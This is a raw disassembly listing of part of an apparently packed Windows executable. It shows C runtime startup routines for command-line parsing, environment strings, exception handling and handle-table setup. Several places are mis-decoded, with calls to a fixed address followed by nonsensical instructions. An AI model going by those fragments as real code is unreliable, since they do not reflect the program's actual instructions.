		test	byte_464101[esi], 4
		mov	[edi], al
		jz	short loc_418CC3
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_418CCF
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_418CD5
		jmp	short loc_418CC9
; ---------------------------------------------------------------------------


loc_418CC3:				; CODE XREF: sub_418C70+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_418CD9


loc_418CC9:				; CODE XREF: sub_418C70+51j
		test	edx, edx
		jnz	short loc_418C9F
		jmp	short loc_418CD9
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C70+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_418CD9
; ---------------------------------------------------------------------------


loc_418CD5:				; CODE XREF: sub_418C70+4Fj
		and	byte ptr [edi-2], 0


loc_418CD9:				; CODE XREF: sub_418C70+2Aj
					; sub_418C70+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_418CF4
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_418CF4:				; CODE XREF: sub_418C70+6Fj
		mov	eax, [ebp+arg_0]


loc_418CF7:				; CODE XREF: sub_418C70+22j
		pop	edi
		pop	ebp
		retn
sub_418C70	endp


; =============== S U B	R O U T	I N E =======================================



sub_418CFA	proc near		; CODE XREF: sub_413EAF+16p
					; sub_414103+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_462BC8, ecx
		mov	eax, offset dword_431920


loc_418D0B:				; CODE XREF: sub_418CFA+1Ej
		cmp	ecx, [eax]
		jz	short loc_418D2F
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_431A88
		jl	short loc_418D0B
		cmp	ecx, 13h
		jb	short loc_418D3C
		cmp	ecx, 24h
		ja	short loc_418D3C
		mov	dword_462BC4, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_418D2F:				; CODE XREF: sub_418CFA+13j
		mov	eax, dword_431924[edx*8]
		mov	dword_462BC4, eax
		retn
; ---------------------------------------------------------------------------


loc_418D3C:				; CODE XREF: sub_418CFA+23j
					; sub_418CFA+28j
		cmp	ecx, 0BCh
		jb	short loc_418D56
		cmp	ecx, 0CAh
		mov	dword_462BC4, 8
		jbe	short locret_418D60


loc_418D56:				; CODE XREF: sub_418CFA+48j
		mov	dword_462BC4, 16h

locret_418D60:				; CODE XREF: sub_418CFA+5Aj
		retn
sub_418CFA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_418EA2
		test	eax, eax
		pop	ecx
		jz	loc_418E96
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_418E96
		cmp	ebx, 5
		jnz	short loc_418D92
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_418E9F
; ---------------------------------------------------------------------------


loc_418D92:				; CODE XREF: .nsp0:00418D84j
		cmp	ebx, 1
		jz	loc_418E91
		mov	ecx, dword_462C74
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_462C74, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_418E81
		mov	ecx, dword_431B00
		mov	edx, dword_431B04
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_418DE1
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:431A90h[esi*4]


loc_418DD8:				; CODE XREF: .nsp0:00418DDFj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_418DD8


loc_418DE1:				; CODE XREF: .nsp0:00418DCAj
		mov	eax, [eax]
		mov	esi, dword_431B0C
		cmp	eax, 0C000008Eh
		jnz	short loc_418DFC
		mov	dword_431B0C, 83h
		jmp	short loc_418E6C
; ---------------------------------------------------------------------------


loc_418DFC:				; CODE XREF: .nsp0:00418DEEj
		cmp	eax, 0C0000090h
		jnz	short loc_418E0F
		mov	dword_431B0C, 81h
		jmp	short loc_418E6C
; ---------------------------------------------------------------------------


loc_418E0F:				; CODE XREF: .nsp0:00418E01j
		cmp	eax, 0C0000091h
		jnz	short loc_418E22
		mov	dword_431B0C, 84h
		jmp	short loc_418E6C
; ---------------------------------------------------------------------------


loc_418E22:				; CODE XREF: .nsp0:00418E14j
		cmp	eax, 0C0000093h
		jnz	short loc_418E35
		mov	dword_431B0C, 85h
		jmp	short loc_418E6C
; ---------------------------------------------------------------------------


loc_418E35:				; CODE XREF: .nsp0:00418E27j
		cmp	eax, 0C000008Dh
		jnz	short loc_418E48
		mov	dword_431B0C, 82h
		jmp	short loc_418E6C
; ---------------------------------------------------------------------------


loc_418E48:				; CODE XREF: .nsp0:00418E3Aj
		cmp	eax, 0C000008Fh
		jnz	short loc_418E5B
		mov	dword_431B0C, 86h
		jmp	short loc_418E6C
; ---------------------------------------------------------------------------


loc_418E5B:				; CODE XREF: .nsp0:00418E4Dj
		cmp	eax, 0C0000092h
		jnz	short loc_418E6C
		mov	dword_431B0C, 8Ah


loc_418E6C:				; CODE XREF: .nsp0:00418DFAj
					; .nsp0:00418E0Dj ...
		push	dword_431B0C
		push	8
		call	ebx
		pop	ecx
		mov	dword_431B0C, esi
		pop	ecx
		pop	esi
		jmp	short loc_418E89
; ---------------------------------------------------------------------------


loc_418E81:				; CODE XREF: .nsp0:00418DB3j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_418E89:				; CODE XREF: .nsp0:00418E7Fj
		mov	eax, [ebp+8]
		mov	dword_462C74, eax


loc_418E91:				; CODE XREF: .nsp0:00418D95j
		or	eax, 0FFFFFFFFh
		jmp	short loc_418E9F
; ---------------------------------------------------------------------------


loc_418E96:				; CODE XREF: .nsp0:00418D70j
					; .nsp0:00418D7Bj
		push	dword ptr [ebp+0Ch]
		call	dword_41D198	; UnhandledExceptionFilter


loc_418E9F:				; CODE XREF: .nsp0:00418D8Dj
					; .nsp0:00418E94j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418EA2	proc near		; CODE XREF: .nsp0:00418D68p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_431B08
		cmp	dword_431A88, edx
		push	esi
		mov	eax, offset dword_431A88
		jz	short loc_418ECF
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:431A88h[esi*4]


loc_418EC4:				; CODE XREF: sub_418EA2+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_418ECF
		cmp	[eax], edx
		jnz	short loc_418EC4


loc_418ECF:				; CODE XREF: sub_418EA2+16j
					; sub_418EA2+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:431A88h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_418EE2
		cmp	[eax], edx
		jz	short locret_418EE4


loc_418EE2:				; CODE XREF: sub_418EA2+3Aj
		xor	eax, eax

locret_418EE4:				; CODE XREF: sub_418EA2+3Ej
		retn
sub_418EA2	endp

; ---------------------------------------------------------------------------
		cmp	dword_46422C, 0
		jnz	short loc_418EF3
		call	sub_418C54


loc_418EF3:				; CODE XREF: .nsp0:00418EECj
		push	esi
		mov	esi, dword_464224
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_418F25


loc_418F00:				; CODE XREF: .nsp0:00418F18j
					; .nsp0:00418F1Bj
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_418F1D
		test	al, al
		jz	short loc_418F1D
		movzx	eax, al
		push	eax
		call	sub_41AF7C
		test	eax, eax
		pop	ecx
		jz	short loc_418F00
		inc	esi
		jmp	short loc_418F00
; ---------------------------------------------------------------------------


loc_418F1D:				; CODE XREF: .nsp0:00418F06j
					; .nsp0:00418F0Aj
		cmp	byte ptr [esi],	22h
		jnz	short loc_418F2F


loc_418F22:				; CODE XREF: .nsp0:00418F37j
		inc	esi
		jmp	short loc_418F2F
; ---------------------------------------------------------------------------


loc_418F25:				; CODE XREF: .nsp0:00418EFEj
		cmp	al, 20h
		jbe	short loc_418F2F


loc_418F29:				; CODE XREF: .nsp0:00418F2Dj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_418F29


loc_418F2F:				; CODE XREF: .nsp0:00418F20j
					; .nsp0:00418F23j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_418F39
		cmp	al, 20h
		jbe	short loc_418F22


loc_418F39:				; CODE XREF: .nsp0:00418F33j
		mov	eax, esi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418F3D	proc near		; CODE XREF: .nsp0:loc_414456p
		push	ebx
		xor	ebx, ebx
		cmp	dword_46422C, ebx
		push	esi
		push	edi
		jnz	short loc_418F4F
		call	sub_418C54


loc_418F4F:				; CODE XREF: sub_418F3D+Bj
		mov	esi, dword_462C10
		xor	edi, edi


loc_418F57:				; CODE XREF: sub_418F3D+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_418F6F
		cmp	al, 3Dh
		jz	short loc_418F62
		inc	edi


loc_418F62:				; CODE XREF: sub_418F3D+22j
		push	esi
		call	sub_4126F0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_418F57
; ---------------------------------------------------------------------------


loc_418F6F:				; CODE XREF: sub_418F3D+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41279F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_462BEC, esi
		jnz	short loc_418F91
		push	9
		call	sub_4144BE
		pop	ecx


loc_418F91:				; CODE XREF: sub_418F3D+4Aj
		mov	edi, dword_462C10
		cmp	[edi], bl
		jz	short loc_418FD4
		push	ebp


loc_418F9C:				; CODE XREF: sub_418F3D+94j
		push	edi
		call	sub_4126F0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_418FCD
		push	ebp
		call	sub_41279F
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_418FC0
		push	9
		call	sub_4144BE
		pop	ecx


loc_418FC0:				; CODE XREF: sub_418F3D+79j
		push	edi
		push	dword ptr [esi]
		call	sub_412600
		pop	ecx
		add	esi, 4
		pop	ecx


loc_418FCD:				; CODE XREF: sub_418F3D+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_418F9C
		pop	ebp


loc_418FD4:				; CODE XREF: sub_418F3D+5Cj
		push	dword_462C10
		call	sub_412813
		pop	ecx
		mov	dword_462C10, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_464228, 1
		pop	ebx
		retn
sub_418F3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FF6	proc near		; CODE XREF: .nsp0:00414451p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_46422C, ebx
		push	esi
		push	edi
		jnz	short loc_41900D
		call	sub_418C54


loc_41900D:				; CODE XREF: sub_418FF6+10j
		mov	esi, offset dword_462C78
		push	104h
		push	esi
		push	ebx
		call	near ptr 0AB0000h
		mov	dword_464224[ecx], 2BFC3589h
		inc	esi
		add	[ebx+741838FEh], cl
		add	cl, [ebx-7BA7208h]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41908F
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41279F
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_419062
		push	8
		call	sub_4144BE
		pop	ecx


loc_419062:				; CODE XREF: sub_418FF6+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41908F
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_462BE4, esi
		pop	edi
		pop	esi
		mov	dword_462BE0, eax
		pop	ebx
		leave
		retn
sub_418FF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41908F	proc near		; CODE XREF: sub_418FF6+47p
					; sub_418FF6+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_4190B9
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_4190B9:				; CODE XREF: sub_41908F+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_419102


loc_4190BE:				; CODE XREF: sub_41908F+58j
					; sub_41908F+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_4190F0
		test	dl, dl
		jz	short loc_4190F0
		movzx	edx, dl
		test	byte_464101[edx], 4
		jz	short loc_4190E3
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4190E3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_4190E3:				; CODE XREF: sub_41908F+46j
					; sub_41908F+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4190BE
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4190BE
; ---------------------------------------------------------------------------


loc_4190F0:				; CODE XREF: sub_41908F+36j
					; sub_41908F+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4190FA
		and	byte ptr [esi],	0
		inc	esi


loc_4190FA:				; CODE XREF: sub_41908F+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_419145
		inc	eax
		jmp	short loc_419145
; ---------------------------------------------------------------------------


loc_419102:				; CODE XREF: sub_41908F+2Dj
					; sub_41908F+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41910D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41910D:				; CODE XREF: sub_41908F+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_464101[ebx], 4
		jz	short loc_419128
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_419127
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_419127:				; CODE XREF: sub_41908F+91j
		inc	eax


loc_419128:				; CODE XREF: sub_41908F+8Bj
		cmp	dl, 20h
		jz	short loc_419136
		test	dl, dl
		jz	short loc_41913A
		cmp	dl, 9
		jnz	short loc_419102


loc_419136:				; CODE XREF: sub_41908F+9Cj
		test	dl, dl
		jnz	short loc_41913D


loc_41913A:				; CODE XREF: sub_41908F+A0j
		dec	eax
		jmp	short loc_419145
; ---------------------------------------------------------------------------


loc_41913D:				; CODE XREF: sub_41908F+A9j
		test	esi, esi
		jz	short loc_419145
		and	byte ptr [esi-1], 0


loc_419145:				; CODE XREF: sub_41908F+6Ej
					; sub_41908F+71j ...
		and	[ebp+arg_10], 0


loc_419149:				; CODE XREF: sub_41908F+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_419232


loc_419152:				; CODE XREF: sub_41908F+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41915E
		cmp	dl, 9
		jnz	short loc_419161


loc_41915E:				; CODE XREF: sub_41908F+C8j
		inc	eax
		jmp	short loc_419152
; ---------------------------------------------------------------------------


loc_419161:				; CODE XREF: sub_41908F+CDj
		cmp	byte ptr [eax],	0
		jz	loc_419232
		test	edi, edi
		jz	short loc_419176
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_419176:				; CODE XREF: sub_41908F+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41917B:				; CODE XREF: sub_41908F+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_419184:				; CODE XREF: sub_41908F+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41918D
		inc	eax
		inc	ebx
		jmp	short loc_419184
; ---------------------------------------------------------------------------


loc_41918D:				; CODE XREF: sub_41908F+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4191BE
		test	bl, 1
		jnz	short loc_4191BC
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_4191AB
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_4191AB
		mov	eax, edx
		jmp	short loc_4191AE
; ---------------------------------------------------------------------------


loc_4191AB:				; CODE XREF: sub_41908F+10Dj
					; sub_41908F+116j
		mov	[ebp+arg_0], edi


loc_4191AE:				; CODE XREF: sub_41908F+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_4191BC:				; CODE XREF: sub_41908F+106j
		shr	ebx, 1


loc_4191BE:				; CODE XREF: sub_41908F+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_4191D3
		inc	ebx


loc_4191C6:				; CODE XREF: sub_41908F+142j
		test	esi, esi
		jz	short loc_4191CE
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_4191CE:				; CODE XREF: sub_41908F+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_4191C6


loc_4191D3:				; CODE XREF: sub_41908F+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_419223
		cmp	[ebp+arg_10], 0
		jnz	short loc_4191E9
		cmp	dl, 20h
		jz	short loc_419223
		cmp	dl, 9
		jz	short loc_419223


loc_4191E9:				; CODE XREF: sub_41908F+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41921D
		test	esi, esi
		jz	short loc_41920C
		movzx	ebx, dl
		test	byte_464101[ebx], 4
		jz	short loc_419205
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_419205:				; CODE XREF: sub_41908F+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41921B
; ---------------------------------------------------------------------------


loc_41920C:				; CODE XREF: sub_41908F+162j
		movzx	edx, dl
		test	byte_464101[edx], 4
		jz	short loc_41921B
		inc	eax
		inc	dword ptr [ecx]


loc_41921B:				; CODE XREF: sub_41908F+17Bj
					; sub_41908F+187j
		inc	dword ptr [ecx]


loc_41921D:				; CODE XREF: sub_41908F+15Ej
		inc	eax
		jmp	loc_41917B
; ---------------------------------------------------------------------------


loc_419223:				; CODE XREF: sub_41908F+148j
					; sub_41908F+153j ...
		test	esi, esi
		jz	short loc_41922B
		and	byte ptr [esi],	0
		inc	esi


loc_41922B:				; CODE XREF: sub_41908F+196j
		inc	dword ptr [ecx]
		jmp	loc_419149
; ---------------------------------------------------------------------------


loc_419232:				; CODE XREF: sub_41908F+BDj
					; sub_41908F+D5j
		test	edi, edi
		jz	short loc_419239
		and	dword ptr [edi], 0


loc_419239:				; CODE XREF: sub_41908F+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41908F	endp


; =============== S U B	R O U T	I N E =======================================



sub_419243	proc near		; CODE XREF: .nsp0:00414447p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_462D7C
		push	ebx
		push	ebp
		mov	ebp, dword_41D03C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_419291
		call	ebp ; dword_41D03C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_419272
		mov	dword_462D7C, 1
		jmp	short loc_41929A
; ---------------------------------------------------------------------------


loc_419272:				; CODE XREF: sub_419243+21j
		call	dword_41D040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41936C
		mov	dword_462D7C, 2
		jmp	loc_419320
; ---------------------------------------------------------------------------


loc_419291:				; CODE XREF: sub_419243+19j
		cmp	eax, 1
		jnz	loc_41931B


loc_41929A:				; CODE XREF: sub_419243+2Dj
		cmp	esi, ebx
		jnz	short loc_4192AA
		call	ebp ; dword_41D03C
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41936C


loc_4192AA:				; CODE XREF: sub_419243+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_4192BF


loc_4192B1:				; CODE XREF: sub_419243+73j
					; sub_419243+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_4192B1
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_4192B1


loc_4192BF:				; CODE XREF: sub_419243+6Cj
		sub	eax, esi
		mov	edi, dword_41D12C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi ; dword_41D12C
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_419310
		push	ebp
		call	sub_41279F
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_419310
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi ; dword_41D12C
		test	eax, eax
		jnz	short loc_41930C
		push	[esp+18h+var_8]
		call	sub_412813
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41930C:				; CODE XREF: sub_419243+B9j
		mov	ebx, [esp+18h+var_8]


loc_419310:				; CODE XREF: sub_419243+99j
					; sub_419243+A8j
		push	esi
		call	dword_41D1A0	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41936E
; ---------------------------------------------------------------------------


loc_41931B:				; CODE XREF: sub_419243+51j
		cmp	eax, 2
		jnz	short loc_41936C


loc_419320:				; CODE XREF: sub_419243+49j
		cmp	edi, ebx
		jnz	short loc_419330
		call	dword_41D040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41936C


loc_419330:				; CODE XREF: sub_419243+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_419340


loc_419336:				; CODE XREF: sub_419243+F6j
					; sub_419243+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_419336
		inc	eax
		cmp	[eax], bl
		jnz	short loc_419336


loc_419340:				; CODE XREF: sub_419243+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41279F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_419356
		xor	esi, esi
		jmp	short loc_419361
; ---------------------------------------------------------------------------


loc_419356:				; CODE XREF: sub_419243+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_411FD0
		add	esp, 0Ch


loc_419361:				; CODE XREF: sub_419243+111j
		push	edi
		call	near ptr 0AB0000h
		xor	al, 8Bh
		mov	bl, 2


loc_41936C:				; CODE XREF: sub_419243+39j
					; sub_419243+61j ...
		xor	eax, eax


loc_41936E:				; CODE XREF: sub_419243+D6j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_419243	endp

; ---------------------------------------------------------------------------


loc_419375:				; CODE XREF: .nsp0:00414437p
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41279F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_419395
		push	1Bh
		call	sub_4144BE
		pop	ecx


loc_419395:				; CODE XREF: .nsp0:0041938Bj
		mov	dword_463EE0, esi
		mov	dword_463FE0, 20h
		lea	eax, [esi+100h]


loc_4193AB:				; CODE XREF: .nsp0:004193C7j
		cmp	esi, eax
		jnb	short loc_4193C9
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_463EE0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_4193AB
; ---------------------------------------------------------------------------


loc_4193C9:				; CODE XREF: .nsp0:004193ADj
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 0AB0000h
		imul	esp, [esi-7Dh],	7Ch
		and	al, 42h
		add	[edi], cl
		test	al, ch
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_4194A5
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_4193FF
		mov	esi, eax


loc_4193FF:				; CODE XREF: .nsp0:004193FBj
		cmp	dword_463FE0, esi
		jge	short loc_419459
		mov	edi, offset dword_463EE4


loc_41940C:				; CODE XREF: .nsp0:0041944Fj
		push	100h
		call	sub_41279F
		test	eax, eax
		pop	ecx
		jz	short loc_419453
		add	dword_463FE0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41942A:				; CODE XREF: .nsp0:00419444j
		cmp	eax, ecx
		jnb	short loc_419446
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41942A
; ---------------------------------------------------------------------------


loc_419446:				; CODE XREF: .nsp0:0041942Cj
		add	edi, 4
		cmp	dword_463FE0, esi
		jl	short loc_41940C
		jmp	short loc_419459
; ---------------------------------------------------------------------------


loc_419453:				; CODE XREF: .nsp0:00419419j
		mov	esi, dword_463FE0


loc_419459:				; CODE XREF: .nsp0:00419405j
					; .nsp0:00419451j
		xor	edi, edi
		test	esi, esi
		jle	short loc_4194A5


loc_41945F:				; CODE XREF: .nsp0:004194A3j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41949C
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41949C
		test	cl, 8
		jnz	short loc_41947E
		push	eax
		call	near ptr 0AB0000h
		xchg	eax, ebp
		test	eax, eax
		jz	short loc_41949C


loc_41947E:				; CODE XREF: .nsp0:00419471j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_463EE0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41949C:				; CODE XREF: .nsp0:00419464j
					; .nsp0:0041946Cj ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41945F


loc_4194A5:				; CODE XREF: .nsp0:004193E6j
					; .nsp0:0041945Dj
		xor	ebx, ebx


loc_4194A7:				; CODE XREF: .nsp0:0041950Aj
		mov	eax, dword_463EE0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_419502
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_4194C2
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_4194CC
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: .nsp0:004194BBj
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_4194CC:				; CODE XREF: .nsp0:004194C0j
		push	eax
		call	near ptr 0AB0000h
		test	byte ptr [ebx-7C08h], 74h
		pop	ss
		push	edi
		call	near ptr 0AB0000h
		mov	eax, ds:0C74C085h
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_4194F7
		or	byte ptr [esi+4], 40h
		jmp	short loc_419506
; ---------------------------------------------------------------------------


loc_4194F7:				; CODE XREF: .nsp0:004194EFj
		cmp	eax, 3
		jnz	short loc_419506
		or	byte ptr [esi+4], 8
		jmp	short loc_419506
; ---------------------------------------------------------------------------


loc_419502:				; CODE XREF: .nsp0:004194B3j
		or	byte ptr [esi+4], 80h


loc_419506:				; CODE XREF: .nsp0:004194F5j
					; .nsp0:004194FAj ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_4194A7
		push	dword_463FE0
		call	near ptr 0AB0000h
		lock pop edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419528	proc near		; DATA XREF: .nsp0:004143D2o
					; sub_416F6A+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_4195C8
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41955B:				; CODE XREF: sub_419528+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4195C1
